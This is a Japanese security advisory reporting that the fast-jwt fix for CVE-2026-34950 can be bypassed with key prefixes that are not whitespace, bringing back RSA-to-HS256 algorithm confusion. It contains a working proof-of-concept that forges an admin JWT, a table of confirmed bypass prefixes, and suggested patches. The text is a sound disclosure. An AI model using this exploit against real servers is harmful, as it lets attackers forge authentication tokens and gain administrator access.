fast-jwt: CVE-2026-34950の修正は不完全: 空白以外のキープレフィックスにより、RSA→HS256アルゴリズムの混同が再び有効になる
### 概要
CVE-2026-34950(CVSS 9.1、v6.2.0でリリース)の修正は、**不完全**です。`src/crypto.js`のPEM検出パスに`key.trim()`が追加されていますが、`String.prototype.trim()`は、ECMAScript仕様で空白文字と分類される文字のみを削除します。 その後の`^`でアンカーされた正規表現(`/^-----BEGIN(?: (RSA))? PUBLIC KEY-----/`)は、PEMヘッダーが位置0にあることを前提としているため、**空白以外の先頭バイト**(制御文字、全角文字、`#`コメント、HTTPスタイルのヘッダー、PGPラッパーなど)があると、検出を回避し、HMAC検証パスに移行します。 この場合、RSA公開鍵がHMACの共有シークレットとして使用されます。 その結果、**元のCVEで問題となっていたRSA→HS256アルゴリズムの混同攻撃が、わずかに異なる先頭バイトを使用することで、完全に再び有効になります。
**攻撃の前提条件はCVE-2026-34950と同じです**: 攻撃者は、ターゲットの公開RSA鍵(定義上、公開されている)を知っており、ターゲットがその鍵を、空白以外のプレフィックスを持つコンテンツを含むソースから読み込む必要があります(破損したエンコーディングのデータベース列、インラインコメントを含むYAML設定ファイル、フォーマットされたドキュメントからのコピー&ペーストなど)。
**fast-jwt@6.2.2(2026年4月23日現在、最新バージョン)で、10行のPoCを使用して検証済みです。**
### 詳細
修正後のコード(`src/crypto.js`、`performDetectPublicKeyAlgorithms`の約74行目から171行目):
```js
function performDetectPublicKeyAlgorithms(key) {
const trimmedKey = key.trim() // <-- CVE-2026-34950の修正で追加された行
if (publicKeyPemMatcher.test(trimmedKey)) {
// RSA/EC公開鍵として扱う
...
}
// 続行: HMACシークレットとして扱う <-- バグ: 空白以外のプレフィックスによって到達可能
...
}
const publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/
```
**バグの内容:** `String.prototype.trim()` は、空白文字(U+0009-U+000D、U+0020、U+00A0、U+1680、U+2000-U+200A、U+2028-U+2029、U+202F、U+205F、U+3000、U+FEFF)のみを削除します。空白文字以外の先頭のバイトがあると、PEMヘッダーが0の位置に配置されず、`^`でアンカーされた正規表現が失敗し、`key`が共有シークレットとして使用されるHMACの処理に実行が移ります。攻撃者はトークンの署名(同じ公開鍵で署名)を制御し、検証器がそれをそのまま受け入れてしまいます。
根本原因はCVE-2026-34950と同じです。修正は、空白文字のみを対象とする限定的なものであり、問題の本質(周囲のコンテンツ全体)に対処していません。
### 実証コード (PoC)
```js
'use strict';
const { createHmac, generateKeyPairSync } = require('node:crypto');
const { createVerifier } = require('fast-jwt');
const { publicKey } = generateKeyPairSync('rsa', { modulusLength: 2048 });
const pem = publicKey.export({ type: 'pkcs1', format: 'pem' }).toString();
// 検証器が読み込む、攻撃者が制御する "key" の内容
// (現実的な環境を模倣: 先頭にメタデータのコメントがある鍵)
const key = '# some comment\n' + pem;
const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url');
const payload = Buffer.from(JSON.stringify({ admin: true, sub: 'attacker' })).toString('base64url');
const sig = createHmac('sha256', key).update(header + '.' + payload).digest('base64url');
const forgedToken = header + '.' + payload + '.' + sig;
const verifier = createVerifier({ key });
console.log('偽造されたトークンのペイロード:', verifier(forgedToken));
console.log('パッケージのバージョン:', require('fast-jwt/package.json').version);
```
**観察された出力 (2026-04-23、npmの新規インストール):**
```
偽造されたトークンのペイロード: { admin: true, sub: 'attacker' }
パッケージのバージョン: 6.2.2
```
### 完全な回避策のリスト (すべて検証済み。偽造された管理者トークンを受け入れる)
| 主要なコンテンツ | 管理者として受け入れられるか? |
|---|:-:|
| `# コメント\n` + PEM | ✅ バイパス |
| `U+0000` (NUL) + PEM | ✅ バイパス |
| `U+0001` (SOH) + PEM | ✅ バイパス |
| `U+0008` (BACKSPACE) + PEM | ✅ バイパス |
| `U+001B` (ESC, ANSIカラー) + PEM | ✅ バイパス |
| `U+007F` (DEL) + PEM | ✅ バイパス |
| `U+200B` (ZWSP) + PEM | ✅ バイパス |
| `U+200D` (ZWJ) + PEM | ✅ バイパス |
| `HTTP/1.1 200 OK\r\n\r\n` + PEM | ✅ バイパス |
| PGPラッパーテキスト + PEM | ✅ バイパス |
| `.` + PEM | ✅ バイパス |
| `U+FEFF` (BOM) + PEM | ❌ `trim`によって正しく除去される |
### 脆弱性のある呼び出し設定 (どの呼び出し設定が脆弱か)
| 呼び出し設定 | 脆弱か? |
|---|:-:|
| `createVerifier({ key })` (`algorithms`の許可リストなし) | ✗ 脆弱 |
| `createVerifier({ key: asyncCallback })` | ✗ 脆弱 |
| `createVerifier({ key, algorithms: ['RS256'] })` | ✓ 保護されている |
| `createVerifier({ key, algorithms: ['HS256'] })` | ✗ 脆弱 (攻撃者が一致させる) |
### 影響
1. **認証の回避:** 攻撃者が、`algorithms`の許可リストがなく、検証キーを空白以外のプレフィックスバイトを含む可能性のあるソースから読み込んでいるすべてのサーバーによって受け入れられる、任意のJWTクレーム(管理者、テナントID、ユーザーID)を偽造できます。
2. **CVE-2026-34950と同等の深刻度:** 攻撃チェーン、前提条件、悪用しやすさ、および影響は同一であり、トリガーとなるバイトのみが異なります。 修正は、*1つの*トリガー(空白)に対処しただけであり、クラス(`-----BEGIN`の前のすべての周囲のコンテンツ)に対処したものではありません。
3. **広範なfast-jwtの利用:** `@fastify/jwt`のデフォルトJWTバックエンド。 多くのFastifyベースのNode.js APIで使用されています。
### 推奨される修正
**オプションA (最小限):** PEMブロックの位置に依存するのではなく、PEMブロックを特定します。
```js
const pemStart = trimmedKey.indexOf('-----BEGIN')
if (pemStart !== -1 && publicKeyPemMatcher.test(trimmedKey.slice(pemStart))) { ... }
```
**オプションB (厳密、推奨):** キーが正確にPEMブロックであることを要求します。
```js
const pemMatch = /-----BEGIN (RSA )?PUBLIC KEY-----[\s\S]+?-----END \1?PUBLIC KEY-----/.exec(trimmedKey);
if (pemMatch && pemMatch[0].trim() === trimmedKey.trim()) { /* 有効なPEM形式、周囲に余分な内容がない */ }
```
**オプションC (多層防御、A/Bテストに関わらず)** — HMACの代替経路において、PEMの開始または終了マーカーを*含む*キーはすべて拒否します。
```js
if (rawKey.includes('-----BEGIN') || rawKey.includes('-----END')) {
throw new Error('キーがPEM形式の非対称鍵であるように見えるが、期待される形式に合致しないため、HMACの代替を拒否します');
}
```
### テストカバレッジの不足
`test/crypto.spec.js` は、CVE-2026-34950以降、空白文字のパディング (`['\n', ' ', ' \n', '\n ', '\t\t']`) のみテストしています。以下の項目について、テストカバレッジを追加する必要があります。
- 制御文字 (U+0000-U+001F, U+007F)
- 幅ゼロのUnicode文字 (U+200B, U+200C, U+200D, U+180E)
- コメントのプレフィックス (`#`, `//`, `;`, `--`)
- 混在コンテンツのラッパー (PGPブロック、HTTPヘッダー)
- 任意のバイナリプレフィックスバイト
### 貢献者
報告者: DC INFOSEC / n0l3x — ソースコードレビューおよびエンドツーエンドのPoC検証。
影響を受けるパッケージ:
- npm (JavaScript) fast-jwt: 影響範囲は 6.2.0 以降、6.2.4 以下、6.3.0 で修正済み。